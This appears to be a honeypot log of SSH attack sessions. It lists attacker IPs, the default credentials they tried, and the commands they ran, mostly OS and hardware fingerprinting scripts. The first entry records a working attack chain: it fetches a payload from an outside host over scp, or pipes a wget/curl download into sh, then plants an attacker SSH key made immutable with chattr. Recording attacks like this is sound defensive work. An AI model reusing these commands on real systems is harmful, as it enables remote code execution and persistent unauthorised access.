๐ŸŽญ weary_clog_root (130.12.180.51) โ€” Amsterdam, The Netherlands ยท 18 sessions ยท 18 cmds
2026-08-08 12:17 EDT ยท as admin/admin, root/pass123
payload download โ†’ make executable
$ uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh ร—15
โ†ณ payload download
$ chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A" ร—2
โ†ณ make executable
$ X="chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys"; shell=""; if [ -z ${SHELL+x} ]; then shell="sh"; else shell="$SHELL"; fi; if command -v nohup || type nohup; then nohup $shell -c "$X" >/dev/null; else $shell -c "$X"; fi; uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"
โ†ณ make executable
๐ŸŽญ rusty_echo_sol (195.178.110.30) โ€” Andorra la Vella, Andorra ยท 2838 sessions ยท 2838 cmds
2026-06-24 07:45 EDT ยท as sol/sol, solana/sol, solana/solana
Ran uname 3707x across 3707 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—2838
โ†ณ obfuscated system check
๐ŸŽญ murky_cowboy_sol (162.241.215.29) โ€” Provo, United States ยท 2 sessions ยท 2 cmds
2026-08-20 23:14 EDT ยท as bitcoin/bitcoin, postgres/postgres
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown' ร—2
๐ŸŽญ nocturnal_liberty_sol (162.241.130.124) โ€” Provo, United States ยท 1 session ยท 1 cmd
2026-08-23 02:28 EDT ยท as solana/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ haywire_dutch_root (80.94.92.234) โ€” Amsterdam, The Netherlands ยท 134 sessions ยท 1110 cmds
2026-06-24 23:12 EDT ยท as admin/123456, admin/admin, admin/admin123
OS fingerprinting via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ OS identification check via /etc/os-release โ†’ system uptime retrieval โ†’ environment variable sanitization โ†’ passive reconnaissance without payload execution
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—95
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—132
$ /bin/uname -s -v -n -m 2 > /dev/null ร—116
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—116
$ busybox uname -s -v -n -m 2 > /dev/null ร—116
$ ( [ -f /proc/version ] ร—116
$ [ -f /proc/version ] ร—116
$ head -1 /proc/version | cut -d -f1 ร—116
$ [ -f /etc/os-release ] ร—116
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—13
$ echo $HOME ร—2
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ร—8
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—3
$ uname -m 2 > /dev/null ร—16
$ cat /proc/uptime 2 > /dev/null ร—3
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—13
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ร—13
๐ŸŽญ stoic_harbor_sol (154.88.65.192) โ€” Hong Kong, Hong Kong ยท 1 session ยท 1 cmd
2026-08-23 02:06 EDT ยท as solana/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ brazen_crumpet_sol (167.172.50.99) โ€” Slough, United Kingdom ยท 1 session ยท 1 cmd
2026-08-23 01:54 EDT ยท as solana/solana
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ velvet_lantern_sol (117.72.108.225) โ€” Chaowai, China ยท 1 session ยท 1 cmd
2026-08-23 01:30 EDT ยท as solana/solana
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ rogue_bike_sol (107.189.17.69) โ€” Zaandam, The Netherlands ยท 1 session ยท 1 cmd
2026-08-22 23:47 EDT ยท as solana/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ wily_windmill_root_209 (2.57.122.209) โ€” Amsterdam, The Netherlands ยท 69 sessions ยท 597 cmds
2026-07-01 22:40 EDT ยท as admin/123456, admin/admin, admin/admin123
PATH manipulation โ†’ OS fingerprinting via multiple uname variants โ†’ kernel version extraction from /proc/version โ†’ OS release check via /etc/os-release โ†’ HOME directory enumeration
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—66
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—66
$ /bin/uname -s -v -n -m 2 > /dev/null ร—66
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—66
$ busybox uname -s -v -n -m 2 > /dev/null ร—66
$ ( [ -f /proc/version ] ร—66
$ [ -f /proc/version ] ร—66
$ head -1 /proc/version | cut -d -f1 ร—66
$ [ -f /etc/os-release ] ร—66
$ echo $HOME ร—3
๐ŸŽญ restless_cowboy_sol (47.200.217.200) โ€” Palmetto, United States ยท 1 session ยท 1 cmd
2026-08-22 21:53 EDT ยท as bitcoin/bitcoin
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ wily_bibimbap_sol (61.85.36.35) โ€” Dalseong-gun, South Korea ยท 1 session ยท 1 cmd
2026-08-22 21:28 EDT ยท as solana/solana
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ vapor_beefeater_sol (51.195.255.48) โ€” Erith, United Kingdom ยท 1 session ยท 1 cmd
2026-08-22 21:27 EDT ยท as solana/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ molten_autobahn_sol (162.19.245.239) โ€” Limburg an der Lahn, Germany ยท 1 session ยท 1 cmd
2026-08-22 19:57 EDT ยท as solana/solana
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ frantic_phantom_sol (197.253.124.135) โ€” Accra, Ghana ยท 1 session ยท 1 cmd
2026-08-22 19:54 EDT ยท as solana/solana
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ frantic_hanbok_sol (1.209.110.147) โ€” Goyang-si, South Korea ยท 1 session ยท 1 cmd
2026-08-22 18:53 EDT ยท as bitcoin/bitcoin
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ listless_pretzel_sol (83.243.60.151) โ€” Regensburg, Germany ยท 1 session ยท 1 cmd
2026-08-22 18:32 EDT ยท as solana/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ sneaky_eagle_sol_38 (143.198.51.38) โ€” Santa Clara, United States ยท 1 session ยท 1 cmd
2026-08-22 18:22 EDT ยท as validator/validator
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
โ†ณ obfuscated system check
๐ŸŽญ wily_tulip_sol (83.96.212.152) โ€” Rotterdam, The Netherlands ยท 1 session ยท 1 cmd
2026-08-22 18:03 EDT ยท as bitcoin/bitcoin
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ silent_bike_root (193.32.162.84) โ€” Amsterdam, The Netherlands ยท 193 sessions ยท 1737 cmds
2026-07-02 14:23 EDT ยท as admin/123456, admin/admin, admin/admin123
export PATH modification โ†’ uname -s -v -n -m OS fingerprinting โ†’ /proc/version and /etc/os-release existence checks โ†’ kernel version extraction โ†’ Linux distribution identification.
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—174
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—193
$ /bin/uname -s -v -n -m 2 > /dev/null ร—193
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—193
$ busybox uname -s -v -n -m 2 > /dev/null ร—193
$ ( [ -f /proc/version ] ร—193
$ [ -f /proc/version ] ร—193
$ head -1 /proc/version | cut -d -f1 ร—193
$ [ -f /etc/os-release ] ร—193
